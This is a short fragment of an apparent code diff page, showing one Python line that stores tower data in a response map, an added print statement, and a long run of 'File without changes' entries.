map_resp["ITowers"] = [resp_tower_data]
|
|
40
|
+
print(map_resp.getData())
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|